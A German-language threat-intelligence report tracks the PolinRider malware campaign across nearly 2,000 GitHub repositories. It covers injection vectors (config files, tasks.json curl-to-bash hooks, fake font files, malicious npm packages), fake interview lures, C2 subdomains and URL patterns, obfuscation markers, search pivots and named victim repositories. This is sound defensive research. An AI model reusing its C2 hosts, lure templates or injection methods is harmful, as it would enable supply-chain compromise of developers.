| | 458 | acanaveras/autonomous_5g_slicing | acanaveras | User | 0 | 0 | 1 | NeMo-Agent-Toolkit-UI/tailwind.config.js | Neues Repository zur Fehlerbehebung | | | 459 | Gethmi-Rathnayaka/Aventude | Gethmi-Rathnayaka | User | 0 | 0 | 1 | session001-fe/tailwind.config.js | | | | 460 | Atik203/My-Anime-Client | Atik203 | User | 0 | 0 | 1 | tailwind.config.js | | |
| Metrik | 8. März (anfänglich) | 11. April (aktuell) | Δ |
|---|
| Einzigartige infizierte Repositories | 675 | 1.951 | +1.276 |
| Einzigartige betroffene Eigentümer | 352 | 1.047 | +695 |
| – Einzelne Benutzer | 305 | ~930 | +625 |
| – Organisationen | 47 | ~117 | +70 |
| Beobachtete unterschiedliche Verschleierungsvarianten | 1 (rmcej%otb%) | 2 (rmcej%otb% + Cot%3t=shtP) | +1 |
| Bestätigte unterschiedliche Injektionsvektoren | 1 (Konfigurationsdatei) | 4 (Konfigurationsdatei, .vscode/tasks.json, gefälschte .woff2-Schriftart, bösartige npm-Abhängigkeit) | +3 |
| Dokumentierte unterschiedliche C2-Subdomains | 1 (260120.vercel.app) | 6+ (siehe C2-Infrastruktur) | +5 |
| Bekannte bewaffnete Take-Home-Vorlagen | 0 | 2+ (ShoeVista, StakingGame) | +2 |
Der Bedrohungsakteur infiziert frühere Opfer erneut. Mindestens ein Opfer-Repo (HassanHabibTahir/testclient) enthält Marker BEIDER Varianten in verschiedenen Dateien, was darauf hindeutet, dass die Werkzeuge des Akteurs erneut gegen zuvor kompromittierte Hosts vorgehen und den neuen Verschleierer injizieren.
PolinRider und TasksJacker haben sich operationell zusammengeschlossen. Wir haben nun direkte Beweise dafür, dass derselbe Bedrohungsakteur sowohl die Konfigurationsdatei-Injektion als auch den .vscode/tasks.json-curl-to-shell-Infektionsvektor gegen dieselbe Opferpopulation einsetzt. 22 der 101 Opfer des temp_auto_push.bat-Verbreitungsskripts haben auch bösartige .vscode/tasks.json-Dateien, und es wurden mehrere bewaffnete Take-Home-/Fake-Interview-Vorlagenprojekte identifiziert – siehe Bewaffnete Take-Home-Vorlagen weiter unten. OSM konsolidiert die beiden Cluster künftig unter #polinrider.
Zwei bewaffnete Take-Home-Testprojekte identifiziert: ShoeVista (eine gefälschte Tailwind-E-Commerce-Bewertung, die mit bösartigem tailwindcss-style-animate ^1.1.6 in client/package.json ausgeliefert wird) und StakingGame (ein gefälschtes Blockchain-/VS-Code-Automatisierungsprojekt, identifiziert durch die UUID e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 in tasks.json). Mindestens 46 + 42 Entwickler haben diese Tests versucht und wurden kompromittiert. Teil des Contagious-Interview-Lockvogel-Spielbuchs.
Fünf neue C2-Subdomains entdeckt, die in .vscode/tasks.json-curl|bash-Payloads verwendet werden, alle gehostet auf Vercel:
default-configuration.vercel.app (am häufigsten verwendet, ~106 Opferreferenzen)vscode-settings-bootstrap.vercel.appvscode-settings-config.vercel.appvscode-bootstrapper.vercel.appvscode-load-config.vercel.appAlle folgen dem Muster https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. Zum Abschnitt C2-Infrastruktur hinzugefügt.
OSM reichte 821 neue Bedrohungsberichte während dieser zweitägigen Suche ein, was die Gesamtzahl der OSM-PolinRider-Einträge auf ~1.700 bringt. Variantenaufteilung der 821 Einreichungen: 591 Originalvariante (rmcej%otb%), 113 reine Verbreitung (temp_auto_push.bat), 45 malicious_npm (ShoeVista/devhire-Cluster), 27 tasksjacker, 1 neue Variante (Cot%3t=shtP), 44 andere.
Neue ertragreiche Such-Pivots wurden identifiziert, die Opfer finden, selbst wenn die JS-Payload bereinigt wurde. Die stärksten sind filename:temp_auto_push.bat (101 bestätigt bösartige Ergebnisse, 100% True-Positive-Rate) und "default-configuration.vercel.app" (106 Treffer). Stichprobenartige False-Positive-Rate über 44 zufällige Überprüfungen betrug 0%. Siehe Verfeinerungsmethodik unten.
Ein neuer Injektionsvektor wurde bestätigt: Mindestens ein Opfer (AgbaD/odoo) hat die verschleierte JS-Payload in einer .woff2-Schriftartdatei (public/fonts/fa-solid-400.woff2) versteckt, die über Node ausgeführt wird – was bestätigt, dass die Kampagne mehrere Injektionsvektoren gegen dasselbe Ziel einsetzt.
Keine dritte Verschleierungsvariante gefunden. Erschöpfende Sondierung von global['?']-Markern, Seed-Kombinationen, Strukturmustern, IOC-Literalen und sequentiellen '8-stN'-Tags 1–200 (via Sourcegraph-Regex) ergab keine Hinweise auf eine dritte Variante über die beiden bereits dokumentierten hinaus. Der neue Varianten-Batch des Akteurs ist auf 8-st1..8-st59 begrenzt (21 sequentielle Nummern fehlen im Sourcegraph-Index).
temp_auto_push.bat im Repository-Stammverzeichnis und nach allen config.bat, auf die in .gitignore verwiesen wird. Auch wenn die obfuskierte JS-Nutzlast bereinigt wurde, ist diese Datei ein direkter Beweis für eine frühere Kompromittierung und sollte eine Anmeldedatenrotation auslösen.public/, static/, assets/ auf unerwartete .woff / .woff2-Dateien — die Malware wurde beobachtet, wie sie Nutzlasten in gefälschten Schriftdateien versteckt (die "fake-font"-Untervariante).package.json — insbesondere kürzlich hinzugefügte oder aktualisierte PostCSS/Tailwind-bezogene Pakete wie tailwind-mainanimation, tailwind-autoanimation und die anderen unten aufgeführten npm-Pakete.node_modules auf Postinstall-Skripte: grep -r "postinstall" node_modules/*/package.jsonrmcej%otb%-Variante mit der rotierten Cot%3t=shtP-Variante erneut infiziert wurde. Führen Sie regelmäßige erneute Scans durch.| Datei | Vorkommen (8. März) | Vorkommen (10. April) |
|---|
postcss.config.mjs | 416 | ~960 |
tailwind.config.js | 84 | ~210 |
eslint.config.mjs | 60 | ~150 |
postcss.config.js | 13 | ~40 |
App.js | 13 | ~30 |
next.config.mjs | 12 | ~30 |
index.js | 6 | ~25 |
astro.config.mjs | 6 | ~15 |
tailwind.config.mjs | 5 | ~12 |
vite.config.js / vite.config.mjs | — | ~20 |
webpack.config.js | — | ~15 |
gridsome.config.js | — | ~5 |
vue.config.js | — | ~10 |
truffle.js | — | ~5 |
temp_auto_push.bat (Ausbreitungsskript-Artefakt) | — | 101 |
.woff2-Schriftdateien (Fake-Font-Untervariante) | — | beobachtet |
| Paket | Neueste Version | Status | Herausgeber | Beobachtete Opferanzahl (11. April) |
|---|
tailwindcss-style-animate | 1.1.6 | beobachtet | (Konto gelöscht) | 34 ← primäre ShoeVista-Abhängigkeit |
tailwind-mainanimation | 2.3.3 → 0.0.1-security | VON npm ENTFERNT (ersetzt durch Sicherheitsplatzhalter am 13.03.2026) | allavin (Konto gelöscht) | 1 |
tailwind-autoanimation | 2.3.6 | AUS DER REGISTRY ENTFERNT | blackedward (Konto gelöscht) | 2 |
tailwind-animationbased | — | beobachtet | (Konto gelöscht) | 0 |
tailwindcss-typography-style | 0.8.2 | beobachtet | (Konto gelöscht) | 6 |
tailwindcss-style-modify | 0.8.3 | beobachtet | (Konto gelöscht) | 4 |
tailwindcss-animate-style | 1.2.5 | beobachtet | (Konto gelöscht) | 0 |
| Attribut | Ursprüngliche Variante | Neue Variante |
|---|
| Signaturmarker | rmcej%otb% | Cot%3t=shtP |
| Shuffle-Seed (Ebene 1) | 2857687 | 1111436 |
| Sekundärer Seed (Ebene 2) | 2667686 | 3896884 |
| Dekodierfunktionsname | _$_1e42 | MDy |
| Globals injiziert | global['!'], global['r'], global['m'] | global['_V'], global['r'], global['m'] |
| Ziel-Dateitypen | postcss.config.mjs, tailwind.config.js, eslint.config.mjs, usw. | (gleich) |
| Injektionsstil | Nach legitimen export default/Modulkörper angehängt | (gleich) |
| Blockchain-C2 | TRON / Aptos / BSC | (gleich — Adressen unverändert) |
| XOR-Schlüssel | unverändert | unverändert |
alaminrifat/shoevista-rifat, Atik203/ShoeVista, DaviBarros/shoevista, IchaCoder/test-shoe, Anas-Ali-3673/Test-west-shoe, naime7132/client-2 (devhire-Variante)ShoeVista, shoevista-rifat, HedaetShahriar/ShoeVista-Test) oder nach der Interview-Plattform (Test-002, test-shoe, test_upwork, test_west_shoe)| Subdomain | Anzahl (11. Apr) | Erstbeobachtung | Anmerkungen |
|---|
260120.vercel.app | 56 | vor 8. März | Ursprüngliche OSM-Abfrage Q11; auch im ersten Blog veröffentlicht |
default-configuration.vercel.app | 106 | Apr 2026 | Größtes bisher gefundenes Single-Subdomain-Cluster |
vscode-settings-bootstrap.vercel.app | 16 | Apr 2026 | |
vscode-settings-config.vercel.app | 11 | Apr 2026 | |
vscode-bootstrapper.vercel.app | 6 | Apr 2026 | |
vscode-load-config.vercel.app | 6 | Apr 2026 |
| Gesuchter Dateiname | Ergebnisse |
|---|
postcss.config.mjs | 416 |
tailwind.config.js | 84 |
eslint.config.mjs | 60 |
App.js | 13 |
postcss.config.js | 13 |
next.config.mjs | 12 |
index.js | 6 |
astro.config.mjs | 6 |
| Andere Konfigurationsdateien | 81 |
| Gesamt (vor Deduplizierung) | 700 |
| Einzigartige Repos | 675 |
| # | Pivot | Engine | Einzigartige beigetragene Repos |
|---|
| 1 | filename:temp_auto_push.bat | GitHub Code Search | 101 |
| 2 | "_$_1e42" (mit Erweiterungs-/Größen-/Fork-Verfeinerung) | GitHub Code Search | 1.323 |
| 3 | "function MDy(f)" global _V | GitHub Code Search | 14 |
| 4 | LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat | GitHub Code Search | 236 |
| 5 | Cot%3t=shtP Regex mit fork:yes archived:yes | Sourcegraph | 41 |
| Runde 1 kombiniert | 1.556 | ||
| 6 | "<malicious_npm_package>" filename:package.json (7 npm-Pakete) | GitHub Code Search | 46 |
| 7 | <url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app) | GitHub Code Search | 145 |
| 8 | "default-configuration.vercel.app" und 4 zugehörige vscode-*.vercel.app-Subdomains | GitHub Code Search | 94 |
| 9 | "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (StakingGame-Vorlagen-UUID) | GitHub Code Search | 42 |
| 10 | Sequenzielle '8-stN'-Aufzählung 1–200 (Prüfung auf nicht indizierte sequenzielle Tags) | Sourcegraph regex | 0 neue |
| Runde 2 kombiniert | +215 | ||
| Gesamt einzigartig (beide Runden + bestehende CSV) | 1.951 |
| Verfeinerung | total_count |
|---|
extension:js | 430 |
extension:mjs | 676 |
extension:cjs | 17 |
extension:ts | 7 |
extension:html | 1 |
size:<5000 | 4 |
size:5000..6000 | 630 |
size:6000..7000 | 125 |
size:7000..8000 | 139 |
size:8000..9000 | 56 |
size:9000..10000 | 36 |
size:10000..50000 | 112 |
size:>50000 | 12 |
fork:true | 157 (standardmäßig ausgeschlossen!) |
| Quelle | Einzigartige Repos | Einzigartige Besitzer |
|---|
| Ursprüngliche Veröffentlichung vom 8. März | 675 | 352 |
affected_repos.csv (Update 18. März) | 769 | 399 |
| April 10 v3 master (5 Pivots) | 1.556 | 835 |
| April 11 Runde 2 (5 zusätzliche Pivots) | +215 netto neu | +158 netto neu |
| Vereinigung (wahrer Umfang, 11. Apr) | 1.951 | 1.047 |
| Datei | Beschreibung |
|---|
README.md | Dieser Bericht |
polinrider-rides-again.md | Folge-Blog (11. April) über das Kampagnenwachstum, die Zusammenlegung von TasksJacker / PolinRider und die vollständige End-to-End-Payload-Reverse-Engineering |
affected_repos.csv | Betroffene Repositorys – zuerst Organisationen, dann Benutzer, jeweils sortiert nach Sterne+Forks absteigend. Hinweis: Stand 11.04.2026 enthält diese CSV 769 Einträge aus der Sammlung vom 18. März. Die Suchen vom 10.–11. April fügten ~1.180 neue Repos hinzu, die noch nicht in diese CSV eingefügt wurden (sie werden in reports/polinrider-master-v3-1556.tsv und reports/polinrider-round2-repos.txt nachverfolgt). Der wahre bekannte Umfang beträgt 1.951 einzigartige Repos. |
affected_users.csv | Betroffene Besitzer – zuerst Organisationen, dann Benutzer, jeweils sortiert nach Followern absteigend. Stand 11.04.2026 enthält 399 Einträge; die Vereinigung der April-Suche umfasst 1.047 Besitzer. |
reports/polinrider-master-v3-1556.tsv | Masterliste der Suche vom 10. April: repo \t osm_status \t threat_id \t severity \t sources für alle 1.556 in der v3-Suche gefundenen Repos |
reports/polinrider-new-v3.tsv | Die 705 Repos, die am 10.04.2026 neu zu OSM hinzugefügt wurden |
reports/polinrider-round2-repos.txt | Bereinigte Masterliste von Runde 2 (239 einzigartige Repos aus den 5 neuen Pivots) |
reports/polinrider-round2-submissions-2026-04-11.tsv | Die 72 Repos, die am 11.04.2026 (Runde 2) neu zu OSM hinzugefügt wurden |
reports/polinrider-scope-v3-2026-04-10.md | Vollständiger v3-Umfangsbericht einschließlich Verfeinerungsmethodik und Falsch-Positiv-Analyse |
reports/polinrider-submissions-2026-04-10.md | Masseneinreichungsbericht für die 704 OSM-Bedrohungsmeldungen, die am 10.04.2026 eingereicht wurden |
reports/polinrider-scope-v3-2026-04-10.md | v3-Umfangsbericht |
| Repository | Sterne | Forks | Infizierte Datei |
|---|
Codechef-VITC-Student-Chapter/Club-Integration-and-Management-Platform | 6 | 11 | postcss.config.mjs |
Victorola-coder/tewo | 9 | 6 | tailwind.config.js |
Kreliannn/Document-Request-System-FRONTEND | 8 | 1 | postcss.config.mjs |
Atik203/Scholar-Flow | 4 | 4 | postcss.config.mjs |
sparktechagency/Vap-shop-Front-End- | 7 | 0 | postcss.config.mjs |
Kreliannn/PDF-To-Reviewer-Quiz-FRONTEND | 7 | 0 | postcss.config.mjs |
coderkhalide/Anti-Detect-Browser | 2 | 4 | tailwind.config.js |
tanushbhootra576/Bionary-Website-Challenge-and-final | 4 | 2 | tailwind.config.js |
tanushbhootra576/collegeConnect | 5 | 1 | postcss.config.mjs |
Kreliannn/commision_portfolio | 6 | 0 | postcss.config.mjs |
| Organisation | Follower | Betroffene Repos |
|---|
sparktechagency | 130 | 12 |
FSDTeam-SAA | 21 | 12 |
Softvence-Omega-Dev-Ninjas | 18 | 4 |
Codechef-VITC-Student-Chapter | 17 | 1 |
softvence-omega-future-stack | 11 | 4 |
The-Extra-Project | 11 | 1 |
etrainermis | 7 | 1 |
tricodenetwork | 7 | 1 |
Binary-Mindz | 6 | 1 |
Gamage-Recruiters-406 | 5 | 1 |
| Benutzer | Follower | Betroffene Repos |
|---|
coderkhalide | 349 | 4 |
finom | 172 | 4 |
Victorola-coder | 121 | 1 |
dhruvmalik007 | 87 | 6 |
saif72437 | 57 | 2 |
a-belard | 43 | 1 |
Muhammadfaizanjanjua109 | 39 | 1 |
Nathanim1919 | 38 | 5 |
kanchana404 | 33 | 3 |
AKDebug-UX | 30 | 4 |